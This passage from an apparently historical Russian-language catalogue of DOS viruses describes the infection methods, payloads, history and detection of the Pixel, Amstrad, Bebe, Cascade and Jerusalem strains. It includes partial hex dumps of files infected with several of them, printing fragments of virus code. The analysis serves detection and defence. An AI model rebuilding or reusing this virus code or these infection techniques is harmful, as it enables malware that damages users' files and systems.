2B0 BA2C0003D78BDAB4 1ACD21BD00008BD7 .,........!.....
2C0 81C20700B90300B4 4ECD21E90400B44F ........N.!....O
... .. .. .. .. .. .. .. .. .. .. .. .. ..
3E0 00438B8D2200CD21 BA8000B41ACD2158 .C....!......!X
3F0 BF000157C3EBFE90 E98D015C3F3F3F3F ...W.......\????
400 3F3F3F3F2E434F4D 00545259302E434F ????.COM.TRY0.CO
410 4D004D0000000020 00E4812400000000 M.M.... ...$....
420 00073F3F3F3F3F3F 3F3F434F4D030900 ..????????COM...
430 000046510F0920E4 8124009001000054 ..FQ....$.....T
440 5259302E434F4D00 4D0000006F736F66 RY0.COM.M...osof
450 7479726967687420 4D6963726F736F66 tyright Microsof
460 7479726967687420 4D6963726F736F66 tyright Microsof
470 7479726967687420 4D6963726F736F66 tyright Microsof
480 7479726967687420 4D6963726F736F66 tyright Microsof
490 7479726967687420 4D6963726F736F66 tyright Microsof
4.2.2. Вирус С-507
(13 месяц-Б, Toothless-B у Беззубый-Б, W13-B)
Данный штамм представляет собой более отлаженный вариант пред-
ыдущего вируса. Ищет заражаемые файлы только в текущем каталоге.
Другие подробности неизвестны. Вирус детектируется полидетектором
SCAN и входит в версии списка П.Хоффман, начиная с датированной 10
августа 1990 г.
4.3. Группа IV (Amstrad)
Данная группа в настоящее время состоит из трех представителей с
длинами 847, 740 и 345 байт. На расстоянии 2-3 байта от начала в
этих вирусах стоят буквы IV. Из этой группы SCAN опознает только
IV-847, называя его Amstrad Virus [Amst]. П. Хоффман описывает
ряд других, неизвестных в нашей стране штаммов. В их числе штаммы
с длиной 277 и 299 байтов, которые аналогичны вирусу С-345, однако
текст сообщения исключен и вместо кода, обеспечивающего выдачу со-
общения, вставлен код, создающий ошибку четности (Parity error)
приблизительно в 50% случаев запуска программы. Вирусы этой группы
являются одними из наиболее простых файловых вирусов. Они заражают
только COM-файлы в текущем каталоге, причем при заражении не пре-
дусмотрено ни сохранение даты, ни контроль длины. Заражение произ-
водится приписываением тела вируса к началу файла. Таким образом,
в зараженной программе вирус располагается в начале, что встреча-
ется довольно редко.
Существенной разницы в функционировании штаммов нет: в данном
случае большая длина вируса не означает усложнения механизма его
работы. Все три штамма заражают только файлы с расширение COM в
текущем каталоге, причем правильность расширения не проверяется.
Как и в случае с вирусом С-648, это приводит к повреждению EXE-
файлов с расширением COM: после заражения файлы становятся нерабо-
тоспособными и их запуск обычно ведет к зависанию системы. Данное
повреждение может быть устранено выкусыванием вируса из програм-
мы.
4.3.1. C-345 (Pixel у Пиксель)
Получив управление, данный вирус переписывает собственное тело в
область памяти, отстоящую от области загрузки данной программы на
64К. Это действие может привести к нарушению работы системы в слу-
чае наложения копии на резидентные программы. Затем вирус выполня-
ет поиск в текущем подкаталоге файла типа с расширением COM. Если
такой файл обнаружен, то он считывается в память, располагаясь не-
посредственно за копией вируса (таким образом вся область памяти
практически представляет собой образ зараженной вирусом програм-
мы). Если второй и третий байты считанной программы принимают зна-
чения 49h и 56h (IV), то вирус считает, что данная программа уже
заражена. В противном случае в файл, из которого была считана про-
грамма, сбрасывается область оперативной памяти, начиная с тела
вируса. За одно выполнение зараженной программы вирус предпринима-
ет попытку заражения всех файлов в текущем каталоге. Очевидно, что
процесс заражения прекращается, если все файлы в текущем каталоге
уже заражены.
При каждом вызове зараженной программы вирус увеличивает значе-
ние специального счетчика, а затем выполняет проверку его содержи-
мого. Если значение счетчика равно 5, то вирус считывает значение
таймера, и, если оно нечетно, то на экран выводится сообщение
Program sick error:
Call doctor or buy PIXEL for cure description;
и выполнение программы блокируется. Это сообщение содержится в те-
ле вируса в незашифрованном виде. Поэтому иногда этот вирус назы-
вают PIXEL. После завершения своей работы вирус сдвигает тело про-
граммы, вместе с которой он первоначально был загружен в память,
на количество байт, равное длине вируса, и передает управление на
начало программы.
Исторические замечания. Исходный текст данного вируса был опуб-
ликован в Греции журналом Пиксель (Pixel). В СССР попал на вирус-
ной дискете В.Бончева. Первым фагом для данного вируса был, по-ви-
димому, полифаг Д.Н.Лозинского.
Неформальные названия. Распространенным неформальным названием
этого вируса является Pixel. Д.Н.Лозинский называет данный вирус
IV-345.
Программные средства защиты. См. прил.1.
Фрагмент дампа дрозофилы, зараженной вирусом С-345
000: EB3B4956012A2E43 4F4D000000000000 .;IV.*.COM......
010: 0000000000000000 0000000000000000 ................
020: 0000000000000000 0000000000000000 ................
030: 0000000000000000 0000000000508CC8 .............P..
040: 0500108EC0FE0604 01BE000133FFB959 ............3..Y
050: 0190F3A4BA1101B4 1ACD21BA0501B906 ..........!.....
060: 00B44ECD21724BBA 2F01B8023DCD218B ..N.!rK./...=.!.
... .. .. .. .. .. .. .. .. .. .. .. ..
0D0: D801B409CD21CD20 50726F6772616D20 .....!. Program
0E0: 7369636B20657272 6F723A43616C6C20 sick error:Call
0F0: 646F63746F72206F 7220627579205049 doctor or buy PI
100: 58454C20666F7220 6375726520646573 XEL for cure des
110: 6372697074696F6E 0A0D24BE3702B922 cription..$.7..
120: 0033FFF3A45B2EC7 060B0100002E8C06 .3...[..........
130: 0D012EFF2E0B011E 07BE5902BF0001B9 ..........Y.....
140: FFFF2BCEF3A42EC7 06000100012E8C1E ..+.............
150: 02018BC32EFF2E00 01B409BA0901CD21 ...............!
160: CD20333435205669 7275732033343520 . 345 Virus 345
170: 6279746573202124 bytes !$
4.3.2. C-847 (Amstrad)
Вирус практически полностью аналогичен предыдущему, за исключе-
нием того, что проверка на зараженность программы выполняется по
третьему и четвертому байтам и буфер для чтения/записи размещен в
теле вируса.
Исторические замечания. В СССР попал в сентябре 1989 г. на ви-
русной дискете В.Бончева. Первые случаи заражения отмечены в Моск-
ве в марте 1990 г. Вирус можно отнести к числу самых старых, про-
стейших вирусов. Вирус Amstrad был передан McAfee в ноябре 1989 г.
Джиан Луз (Jean Luz), однако был известен в Испании и Португалии
по меньшей мере за год до этого. Этот штамм не заражает
COMMAND.COM и содержит самозванную рекламу компьютеров фирмы
Amstrad.
Неформальные названия. Д.Н.Лозинский называет данный вирус IV-
847. Полидетектор SCAN называет данный вирус Amstrad Virus
[Amst].
Программные средства защиты. См. прил.1.
Фрагмент дампа дрозофилы, зараженной вирусом С-847
000: EB14904956012A2E 434F4D004F040000 ...IV.*.COM.O...
010: 0100000000008CC8 0500108EC0FE0605 ................
020: 01BE000133FFB94F 01F3A4BA5F02B41A ....3..O...._...
030: CD21BA0601B90600 B44ECD217260BA7D .!.......N.!r`.}
040: 02B8023DCD21A314 018BD8061FBA4F03 ...=.!........O.
050: B9FFFFB43FCD2105 4F032EA312013E81 ....?.!.O.....>.
060: 3E52034956742133 C98BD12E8B1E1401 >R.IVt!3........
... .. .. .. .. .. .. .. .. .. .. .. ..
0C0: CD21CD2050726F67 72616D207369636B .!. Program sick
0D0: 206572726F723A43 616C6C20646F6374 error:Call doct
0E0: 6F72206F72206275 7920504958454C20 or or buy PIXEL
0F0: 666F722063757265 2064657363726970 for cure descrip
100: 74696F6E0A0D24BE 2402B92B0033FFF3 tion..$.$..+.3..
110: A433FF2EC7060E01 00002E8C0610012E .3..............
120: FF2E0E011E07BE4F 04803E0501017504 .......O..>...u.
... .. .. .. .. .. .. .. .. .. .. .. ..
300: 508D46AE509A4387 751883C4049A8085 P.F.P.C.u.......
310: 7518FF76088D865E FF508D46AE50E8A8 u..v...^.P.F.P..
320: 0583C4068946FE3D FFFF74053D010075 .....F.=..t.=..u
330: 03E8A0D0837EFE01 7403E947FE837E08 .....~..t..G..~.
340: 0075288D46AE509A 9487751883C402B4 .u(.F.P...u.....
350: 09BA0901CD21CD20 3834372056697275 .....!. 847 Viru
360: 7320383437206279 746573202124 s 847 bytes !$
4.3.3. C-740 (Canser у Рак)
C-740 не контролирует и своего наличия в модуле, в связи с чем
заражение происходит многократно.
Исторические замечания. В СССР попал в сентябре 1989 г. на ви-
русной дискете В.Бончева.
Неформальные названия. Д.Н.Лозинский называет данный вирус IV-
740.
Программные средства защиты. См. прил.1.
Фрагмент дампа дрозофилы, зараженной вирусом С-740
000: EB14904956012A2E 434F4D00E4030000 ...IV.*.COM.....
010: 0000000000008CC8 0500108EC0FE0605 ................
020: 01BE000133FFB9E4 00F3A4BAF401B41A ....3...........
030: CD21BA0601B90600 B44ECD217257BA12 .!.......N.!rW..
040: 02B8023DCD21A314 018BD8061FBAE402 ...=.!..........
... .. .. .. .. .. .. .. .. .. .. .. ..
220: 4B2D83C40489865C FF833E1A1E00741D K-.....\..>...t.
230: 833E1C1E007516B8 2B4B509A94877518 .>...u..+KP...u.
240: 83C4020BC07406C7 061C1E0100FFB65C .....t.........\
250: FF8D46AE509A6A86 751883C404FF7606 ..F.P.j.u.....v.
260: 8D865EFF509A6A86 751883C404FF7608 ..^.P.j.u.....v.
270: 8D46AE508D865EFF 50E8F60083C40689 .F.P..^.P.......
280: 8654FF3DFEFF7503 E9F9FEFF361C1EFF .T.=..u.....6...
290: B65CFFE8794183C4 04898656FF3DFFFF .\..yA.....V.=..
2A0: 7503E9DFFE0BC074 2C837E08007526FF u......t,.~..u&.
2B0: 361A1E8D865EFF50 E8544183C4048986 6....^.P.TA.....
2C0: 58FF3DFFFF7503E9 BAFE3D01001BC0F7 X.=..u....=.....
2D0: D8898656FF8D46AE 509A0487751883C4 ...V..F.P...u...
2E0: 020BC075B409BA09 01CD21CD20373430 ...u......!. 740
2F0: 2056697275732037 3430206279746573 Virus 740 bytes
300: 202124 !$
4.4. Вирус E-1961 (Yankee Doodle-2 у Янки Дудль-2)
В настоящее время этот вирус можно считать вымершим и информа-
ция о нем представляет лишь исторический интерес. Вирус является
первым болгарским вирусом в котором использован стандартный метод
заражения EXE-файлов, при реализации которого, впрочем, был допу-
щен ряд ошибок и неточностей. При заражении длина файла увеличива-
ется на 1961 байт. Вирус не является резидентным. При запуске за-
раженной программы вирус ищет жертву в текущем каталоге и если по-
пытка заражения удалась, то играет мелодию Янки Дудль.
Исторические замечания. Исходный текст вируса распространялся на
вирусной дискете В.Бончева. Известен автор вируса. В СССР отмечены
лишь отдельные случаи заражения.
Методы и средства защиты. См. прил.1.
4.5. Вирус C-1024 (Bebe у Бебе)
Неформальное название данного вируса связано с выдаваемым виру-
сом на экран сообщением. Идея, лежащая в основе данного вируса,
является модификацией использованной в одном из самых старых виру-
сов у Cookie (см. ниже).
Формально С-1004 представляет собой простой файловый нерезидент-
ный вирус, заражающий файлы, имеющие расширение COM в текущем ка-
талоге. СОММАND.COM заражается как обычный СОМ-файл.
COM-файлы заражаются однократно. При заражении длина файла не
проверяется. Свое тело вирус дописывает в конец файла с выравнива-
нием начала на границу параграфа. В зараженных файлах изменены
первые 14 байтов, причем измененные байты содержат группу (PUSH
AX; т ; JMP FAR Virus_Start;) команд, а не единственную команду
JMP, как это бывает обычно. Поэтому зараженная программа всегда
начинается с строки 50 0E 8C C8 2E 01 06 0C 01 EA. Выше было от-
мечено, что первую команду JMP, подставляемую большинством файло-
вых вирусов, дописывающих свое тело в конец COM-файла, можно рас-
сматривать как вырожденный сегмент. В данном случае первые 14 байт
представляют собой настоящий сегмент тела вируса и фактически мы
имеем дело с файловым вирусом, состоящим из двух сегментов.
Длина вируса 1004 (3ECh) байта совпадает с минимальным прираще-
нием заражаемых файлов. Файлы с атрибутом READ ONLY не заражаются.
Вирус имеет несколько необычную реализацию фазы проявления, созда-
ющую иллюзию, что мы имеем дело с резидентным вирусом: при запуске
первой зараженной программы он копирует часть своего тела в об-
ласть векторов прерываний по адресу 0000:01CE и устанавливает на
нее прерывание 1Ch (таймер). Тем самым создается резидентная про-
грамма, висящая на таймере, которая через некоторое время выдает
на экран заставку
+-------- VIRUS ! ------+
| Skagi bebe > |
+-----------------------+
и переходит в состояние ожидания ввода с клавиатуры. При
разработке вируса предполагалось, что, если с клавиатуры вводится
слово bebe, то на экране появляется сообщение Fig Tebe !. По-
следнее дает определенное представление об уровне культуры автора,
даже если рассматривать это как своего рода юмор. Однако реально
программа зацикливается из-за ошибки. В результате после выдачи
сообщения компьютер зависает и его приходится перегружать, причем
сделать это удается только клавишей RESET.
Уровень программирования, в целом, невысок. В частности, вирус
не восстанавливает DTA, что может привести к зависанию компьютера.
Аналогично, затирание части таблицы векторов прерываний может при-
водить к зависанию или нарушению функционирования программ. Помимо
приведенных выше строк, образующих заставку и ответ, тело вируса
содержит строку *.COM.
Исторические замечания. Очередной вирус отечественной разработ-
ки. Обнаружен летом 1990 г.
Неформальные названия. Полидетектор SCAN данный вирус не детек-
тирует.
Программные средства защиты. Полифаг Aidstest версий, начиная с
44. Детектирование можно выполнять по сигнатуре, приведенной в
прил.1.
Фрагмент дампа дрозофилы, зараженной вирусом С-1004
000: 500E8CC82E01060C 01EA580011002400 P.........X...$.
... .. .. .. .. .. .. .. .. .. .. .. ..
060: 9000000000000000
начало тела вируса -> 582EA3CC01581E06 M.......X....X..
070: 5053515256579C8C C88ED88EC08D360E PSQRVW........6.
080: 0006C43ECA01B90E 00F3A40706B42FCD ...>........../.
090: 212E891E2400062E 8F06260007B41A8D !...$.....&.....
0A0: 162800CD21B44E8D 161E00B93F00CD21 .(..!.N.....?..!
0B0: 7303E9D0008D1628 0083C21EB8023DCD s......(......=.
0C0: 21A31C007303E9AF 00B43F8D160E00B9 !...s.....?.....
0D0: 0E008B1E1C00CD21 7303E993008D360E .......!s.....6.
0E0: 008D3E0000B90A00 FCF3A67503E98000 ..>........u....
0F0: 8D1E28008B5F1A8A C381C30001B104D3 ..(.._..........
100: EB240F3C00740143 891E0C00C7060A00 .$.<.t.C........
110: 5800B8004233C933 D28B1E1C00CD21B4 X...B3.3......!.
120: 408D160000B90E00 8B1E1C00CD218D1E @............!..
130: 28008B571A33C9B8 00428B1E1C00CD21 (..W.3...B.....!
... .. .. .. .. .. .. .. .. .. .. .. ..
1B0: 018BFE8D0EEC032B CEFCF3A433DB8EDB .......+....3...
1C0: BB70008D06F002FA 8907C747020000FB .p.........G....
1D0: 9D5F5E5A595B5807 1FEA0001DD21C9CD ._^ZY[X......!..
1E0: CDCDCDCDCD205649 5255532120CDCDCD ..... VIRUS! ...
1F0: CDCDCDBBBA20536B 6167692022626562 ..... Skagi beb
200: 6522203E20202020 20BAC8CDCDCDCDCD e > .......
210: CDCDCDCDCDCDCDCD CDCDCDCDCDCDCDBC ................
220: BA20202020204669 6720546562652021 . Fig Tebe !
230: 2020202020BA0000 0000000000000000 ...........
240: 0000000000000000 0000000000000000 ................
*** последующие строки идентичны предыдущей ***
2B0: 0000000000000000 0000301230121C42 ..........0.0..B
2C0: 4542450D50B8C800 E6428AC4E642E461 EBE.P....B...B.a
2D0: 0C03E661E80800E4 6124FCE66158C3B9 ...a....a$..aX..
2E0: 74272E8A052E3A05 7500E2F9C3E4608A t'....:.u.....`.
... .. .. .. .. .. .. .. .. .. .. .. .. ..
3D0: 518D362602BF7406 F3A559BF1407F3A5 Q.6&..t...Y.....
3E0: 59BFB407F3A55F5E 5A595B58071F2EA3 Y....._^ZY[X....
3F0: EA0358EA00000000 302A0000 ..X.....0*..
4.6. Вирус C-257
(Kemerovo-Reset у Кемеровская перезагрузка)
Неформальное название связано с тем, что, подобно вирусу С-648,
данный вирус, наряду с заражением файлов, вызывает перезагрузку
операционной системы.
Формально С-257 у это файловый нерезидентный вирус, заражающий
файлы с расширением COM в текущем оглавлении. Заражает командный
процессор.
Заражает COM-файлы текущего оглавления длиной до 64767 (FCFFh)
байтов при запуске инфицированной программы. Файлы заражаются
однократно. Копирует себя в конец файла и изменяет его первые 4
байта ( XCHG AX,DX; JMP Loc_Virus ). Длина файлов при заражении
увеличивается на 257 байт.
Вирус имеет ряд проявлений. Во-первых, в зараженных программах
портится дата создания файла. Во-вторых, при некоторых значениях
текущего времени запуск зараженной программы ведет к перезагрузке
компьютера. Вирус не блокирует сообщения о защите от записи.
Зараженные программы теряют способность обрабатывать параметры.
Код вируса достаточно примитивен и содержит много ошибок и
неточностей. В частности, вирус не закрывает открываемые файлы (по
одному на заражаемую программу). При этом открыть их может очень
много (в зависимости от количества файлов в текущем каталоге). При
просмотре дампа зараженной программы видна текстовая строка
*.COM.
Исторические замечания. Происхождение неизвестно. Обнаружен ле-
том 1990 г.
Неформальные названия. Полидетектор SCAN данный вирус не детек-
тирует.
Программные средства защиты. Полифаг Aidstest версий, начиная с
44. Находятся в стадии разработки. Детектирование можно выполнять
по сигнатуре, приведенной в прил.1.
Фрагмент дампа дрозофилы, зараженной вирусом С-257
000: 92E81500D8A10800 8B1E0A00891E0800 ................
010: A30A00B8004CCD21 125BE800005A5289 .....L.!.[...ZR.
020: D681C6C10089D82D 040089C7B90400A4 .......-........
... .. .. .. .. .. .. .. .. .. .. .. .. ..
0C0: B80242CD2172D15A 5283EA04B90001B4 ..B.!r.ZR.......
0D0: 40CD21CC139090E9 3B1092E81500B840 @.!.....;......@
0E0: 008E2A2E434F4D00 B43ECD21B42CCD21 ..*.COM..>.!.,.!
0F0: 80FA0A7DE2909090 90909090909090EA ...}............
100: 0000FFFF00000000 0000000000000000 ................
110: 0000000000000000 00 .........
5. РЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР
5.1. Группа Буквопад
Данная группа берет начало с вируса RС-1701 и в настоящее время
включает ряд вирусов с длиной порядка 1700 байтов, имеющих харак-
терный визуальный эффект опадания букв на экране. Большинство
штаммов однократно заражает файлы типа COM, однако автор встречал
упоминания о штаммах, многократно заражающих файлы.
5.1.1. Вирус RС-1701 (Cascade -- Буквопад)
Данный вирус, по-видимому, является родоначальником группы. Его
название связано с тем, что в зараженной им системе при определен-
ных условиях начинается падение букв с верхних строк экрана
вниз, сопровождаемое негромким звуком, напоминающим шорох, и бло-
кировкой клавиатуры. Длина вируса 1701 (6А5h). Формально вирус RС-
1701 -- файловый резидентный вирус, поражающий файлы типа СОМ. Фун-
кционирует на версиях MS DOS, начиная с 2.0 (в теле вируса имеется
проверка). Распространяется как на PC/XT, так и на PC/AT. Страте-
гия заражения -- при запуске файлов на выполнение. Файлы заражаются
однократно. Максимальная длина заражаемого файла составляет 63803
(F93Bh) байта.
Подобно вирусу С-648, при заражении RС-1701 дописывается в конец
программы и одновременно вставляет в первые три байта COM-файла
команду перехода на тело вируса. При этом размер файла увеличива-
ется на 1701 байт, дата создания файла и атрибуты файла не меняют-
ся. Так же, как и вирус С-648, вирус RC-1701 не проверяет, нахо-
дится ли заражаемая программа (которая загружается на выполнение)
на защищенной дискете или нет, и пытается выполнить запись на за-
щищенную от записи дискету. При этом операционная система выдает
сообщение:
Write protect error writing device <лог.имя.устр.>
Abort, Retry, Ignore, Fail?
Этот эффект можно использовать для обнаружения данного и некото-
рых других резидентных вирусов, поскольку на зараженной ими машине
попытка загрузить программу с защищенной дискеты всегда приводит к
выдаче указанного выше сообщения. В то же время, как уже указыва-
лось, это сообщение часто воспринимается неопытными пользователями
не как предупреждение о попытке выполнить какие-то несанкциониро-
ванные действия, а как просьба снять защитную наклейку.
Механизм функционирования данного вируса существенно отличается
от С-648. В частности, для того, чтобы различать зараженные и
незараженные файлы используетсял не время создания, а первые три
байта файла. Кроме того, вирус по BIOS определяет фирму-изготови-
тель для того, чтобы в случае, если таковой является IBM, сразу
передать управление зараженной программе, не проявляя никаких при-
знаков активности (латентная фаза). Возможно, разработчик опасался
санкций со стороны такой могущественной фирмы, как IBM. Однако при
программировании указанной проверки допущена ошибка, и вирус зара-
жает и ПЭВМ фирмы IBM.
При запуске зараженной программы RС-1701 сначала проверяет, име-
ется ли уже резидентная копия данного вируса с помощью подфункции
FF прерывания 21-4B (не используемой в версиях MS DOS 3.3 и ни-
же). Если нет, вирус инсталлируется в младших адресах свободной
оперативной памяти, перехватывая прерывания 1Ch, 21h и 28h. В ре-
зультате, при запуске любой программы вирус получает управление,
проверяет, является ли запускаемая программа зараженной, и если
нет, то заражает данную программу на диске. В процессе заражения
файла вирус создает в памяти свою копию, кодирует ее и дописывает
в конец заражаемого файла. Затем у файла изменяются первые 3 байта
(организуется переход на начало тела вируса).
При выполнении зараженной программы управление командой JMP
(Е9h) передается на начало вируса. Первыми командами вирус узнает
длину исходного файла и раскодирует свое тело. Затем вирус восста-
навливает измененные им при заражении файла первые три байта про-
граммы, проверяет, заражен компьютер или нет, и если не заражен,
то посредством манипуляций с MCB, PSP и 2 раза копируя себя, оста-
ется резидентным в памяти. Чтобы по окончании работы программы-ви-
русоносителя резидентная часть вируса не была удалена из памяти,
данный вирус выполняет достаточно тонкую операцию, заключающуюся в
сдвиге загруженной программы в область старших адресов, записи се-
бя на освободившееся место и соответствующей корректировки систем-
ных блоков.
Демонстрационный эффект привязан к часам, причем условие запуска
выбрано так, что он проявляется в основном на машинах типа XT, при
установленной дате. На AT визуальный эффект в обычных условиях не
наблюдается, хотя вирус успешно размножается. По некоторым данным,
он возникает при установке даты на третий квартал 1988 г. В ука-
занных случаях, если загружается файл COMMAND.COM и он отмечен как
зараженный, то вирус демаскируется, демонстрируя свое присутствие
с помощью эффекта падающих букв на экране монитора. Сеансы опа-
дания букв происходят через определенные интервалы времени. В про-
цессе падения букв клавиатура блокируется и работать с компьютером
становится невозможно до полного опадания букв на экране. При этом
падение каждой буквы сопровождается характерным звуком, напоминаю-
щим шорох. На неспециалистов эта шутка часто производит впечат-
ление аппаратной неисправности.
Никаких других несанкционированных действий вирус не выполняет,
поэтому в целом его деятельность можно было бы охарактеризовать
как мелкое хулиганство, если бы не одно обстоятельство. При зара-
жении некоторых системных программ, используемых преимущественно в
AUTOEXEC.BAT, он может вызывать блокировку загрузки MS DOS. Эта
блокировка, в частности, возникает на ПЭВМ ЕС-1840 при заражении
обычно включаемой в AUTOEXEC.BAT программы E1840.COM (EDISK.COM),
обеспечивающей разделение одного физического диска на два логиче-
ских, по 360К каждый (А и С на одном дисководе, B и D на другом).
Этот эффект не был предусмотрен разработчиком вируса, что, впро-
чем, не освобождает его от ответственности. Вместе с тем, ситуация
с EС-1840 может служить наглядной иллюстрацией того факта, что при
заражении системных программ любой вирус может создавать опасные
побочные эффекты. Поэтому любые компьютерные вирусы следует немед-
ленно удалять, как только они появились, даже если путем анализа
или из надежных источников установлено, что никаких разрушительных
действий они не выполняют.
Резидентная часть вируса легко обнаруживается путем просмотра
списка резидентных программ (с помощью утилит MAP, SMAP, MMAP и
т.д.). Как видно из приводимой ниже карты памяти, в списке загру-
женных программ появляется дополнительная строка, описывающая без-
ымянную программу, не имеющую имени родителя.
Вирус RC-1701 является одним из первых вирусов, в которых пред-
приняты определенные усилия, направленные на усложнение процесса
его дизассемблирования. В частности, основная часть тела вируса
шифруется с помощью операции исключающее ИЛИ. Поэтому непосред-
ственное дизассемблирование зараженной программы пакетным дизас-
семблером полной информации о структуре вируса не дает. Ключ шиф-
ровки зависит от длины файла, поэтому два зараженных файла разной
длины не имеют общих подстрок, за исключением начала инсталлятора.
По той же причине текстовых строк тело вируса не содержит.
Исторические замечания. Данный вирус появился в Западной Европе
в первой половине 1988 г. (см., например, статью [50]). Об этом
также свидетельствуют даты создания версий программы SERUM. Вирус
также распространялся на вирусной дискете В.Бончева в файле
V1700.COM, датированном 16 января 1989 г.
В СССР впервые был выделен в конце 1988 г. в Институте приклад-
ной математики имени М.В.Келдыша АН СССР. B Киеве появился в нача-
ле 1989 г. Одним из первых этот вирус исследовал Е.Ю.Портной, ко-
торый самостоятельно разработал фаг для этого вируса, работающий
как постпроцессор протокола детектора Ладыгина. Средства защиты
появились примерно одновременно с вирусом, поэтому существенного
вреда вирус не нанес.
В Киеве первым фагом для данного вируса была австрийская про-
грамма SERUM3, которая может также работать и в режиме детектора.
Среди отечественных программ, использовавшихся на начальной стадии
борьбы с вирусом, следует отметить детектор Ладыгина (ИПМ АН СССР)
VIRUS_D1.
Неформальные названия. Данный вирус имеет порядка десятка нефор-
мальных названий. Среди них отметим следующие: Falling Letters
(Падающие буквы), LetterFall (Буквопад), Rash (Сыпучка), вирус
падающих букв, 1701, Letters (буквы -- О.Котик), Слезы капали.
SCAN называет данный вирус 1701/1704 Virus -- Version B [170X].
Программные средства защиты. Общие средства защиты достаточно
эффективны против данного вируса. В частности, попытки записи ви-
руса в запускаемый СОМ-файл детектируются всеми имеющимися фильт-
рами. Фильтр ANTI4US2 не срабатывает на попытку вируса стать рези-
дентным, поскольку вирус предварительно перехватывает прерывание
21. При использовании системы управления доступом к винчестеру
(Disk Manager, Advanced Disk Manager и т.д.) вирус не в состоянии
попасть в разделы винчестера, для которых установлен статус READ
ONLY. Однако при этом становится невозможным вызов программ с за-
щищенной дискеты или раздела винчестера.
Специальные средства защиты от данного вируса принципиально мо-
гут включать детектор, фаг для резидентной части, резидентный и
пакетный фаги для зараженных файлов, активную и пассивную вакцину.
Детектор может быть создан только на основе поиска начальных 16
байтов вируса, поскольку остальная часть вируса шифруется и раз-
вертывается уже в процессе выполнения.
В настоящее время все сопровождаемые полидетекторы и полифаги
обрабатывают программы, зараженные данным вирусом. Автор рекомен-
дует компактную и удобную программу AIDSTEST Д.Н.Лозинского.
Фрагмент дампа программы MORE.COM,
зараженной вирусом RC-1701
000: E90E009090909090 9090909090909090 ................
+------------------------ J-сигнатура
| (программа раскодировки)
|
010:|01FA8BECE800005B 81EB31012EF6872A .......[..1....*
020: 0101740F8DB74D01 BC82063134312446 ..t...M....141$F
030: 4C75F8
+--------------- закодированная часть
| тела вируса
|
3A575901DE 4243CC634242DEDE Lu.:WY..BC.cBB..
040: A23236062FCF3672 24DF3EBC2CDF362E .26./.6r$.>.,.6.
050: 3212361732290FB7 43289D1602020EE7 2.6.2)..C(......
060: 8233363632322E26 2222262602237126 .36622.&&&.#q&
070: 6D3A36363332DF2B 3F13464676507A5D m:6632.+?.FFvPz]
080: C86338529B9A46AE A2F9274D01A38022 .c8R..F...'M...
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
Пример карты памяти зараженного компьютера. В приводимой ниже
карте памяти резидентная часть вируса занимает последнюю строку
(1E1E) таблицы резидентных программ. Ее длина, указанная в графе
bytes, не соответствует действительной. Перехватываемые прерыва-
ния также не указаны.
Addr Program Parent Sg Bytes Hooked Vectors
------ -------- -------- -- ------ ------------------
(1A66) DOS N/A 3 5504
(1B4E) E1840 DOS 2 1280
(1BA0) QUICK DOS 2 512
(1BC2) KBMNA DOS 2 480 16
(1BE2) DOSEDIT DOS 2 2032
(1C62) BDS1 DOS 2 7056 00 08 09 13 1A
(1E1E) N/A N/A 1 64
5.1.2. Вирус RС-1704 (Cascade-B -- Буквопад-Б)
Данный штамм отличается от исходного исправленной ошибкой, свя-
занной с проверкой фирмы -- изготовителя BIOS. Других особенностей,
по-видимому, не имеет. Детектируется полидетектором SCAN. Длина
штамма 1704 (6A8h) байтов.
5.2. Иерусалимская группа
Иерусалимская группа получила свое название с связи с тем, что
один из представителей этой группы был обнаружен в конце 1987 г.
студентом Иерусалимского университета. Вирус существует в несколь-
ких разновидностях (штаммах), отличающихся по своим размерам, дей-
ствиям и типам заражаемых файлов. Из них наиболее распространенным
является версия, которая в пятницу, приходящуюся на 13 число, уда-
ляет все запускаемые файлы. Другими словами, если в этот день
файл, содержащий исполняемую программу, запускается на выполнение
на зараженной машине, вирус удаляет его с диска и при попытке по-
вторного выполнения этой программы MS DOS сообщит, что соответст-
вующий файл не найден. Большинство представителей этой группы за-
ражают COM-файлы, размещая свое тело в начале, а не в конце, как
большинство других групп вирусов.
5.2.1 Вирус RCE-1813 (Ierusalem -- Иерусалим,
Black Friday -- Черная пятница)
Вирус RСЕ-1813 получил название Black Friday -- Черная пятница,
поскольку, если 13 число месяца приходится на пятницу, то он уда-
ляет все запускаемые файлы. Впервые обнаружен в Израиле, поэтому
другим распространенным названием вируса является Israeli Virus --
Израильский вирус. Формально вирус RСЕ-1813 является резидентным
файловым вирусом, поражающим как СОМ-, так и ЕХЕ-файлы.
Работоспособен на версиях, начиная с 2.0, как на PC XT, так и на
PC AT.
При выполнении зараженной программы вирус вначале проверяет на-
личие своей копии в памяти компьютера. Если она есть, то управле-
ние передается зараженной программе. Если ее нет, то вирус инстал-
лируется, выполняя следующие действия: 1) запоминает в своем теле
значения байтов памяти с адресами 003FCh-003FEh; 2) размещает по
указанным адресам программу копирования и передает ей управление;
3) программа копирования перемещает тело вируса в самые младшие
адреса, выделенные для основной программы (при этом вирус в COM-
программе копируется сам в себя, а в EXE-программе стирает часть
кода основной программы), и возвращает управление в копию вируса;
4) восстанавливает старое содержимое байтов памяти с адресами
003FCh-003FEh; 5) определяет имя основной программы и функцией
EXEC (21-4Bh) запускает ее на выполнение (т.е. в памяти компьютера
в этот момент находятся 2 копии основной программы); 6) по оконча-
нии работы программы вирус освобождает лишнюю память и остается
резидентным в памяти (с помощью прерывания 21-31h). Использование
для постановки в резидент прерывания 21-31h означает, что вирус
виден по карте памяти (см. ниже). Из нее видно, что после загрузки
в память вирус перехватывает прерывания 08 и 21. После того, как
вирус RСЕ-1813 стал резидентным, он пытается заразить каждый запу-
скаемый файл, за исключением файлов с именем COMMAND.COM.
Файлы типа СОМ поражаются данным вирусом однократно, при этом
дата их создания не меняется, а длина увеличивается на 1813 бай-
тов. В инфицированной программе тело вируса размещается в начале
файла, поскольку при заражении COM-файла вирус выделяет область
памяти (с помощью int 21h, ah=48h), в которую копирует сначала
свое тело, а затем зараженный файл. Полученный образ зараженного
файла записывается на диск с добавление 5-байтового поля (обычно
это поле содержит MsDos, однако имеются штаммы с другим содержа-
нием), используемого вирусом в качестве признака зараженности COM-
файлов. Ограничений на длину файлов нет, поэтому вирус уничтожает
COM-файлы, длина которых после заражения превысит 64K. Вирус не
заражает COMMAND.COM, определяя его по имени файла.
ЕХЕ-файлы (включая оверлейные) поражаются многократно, порой
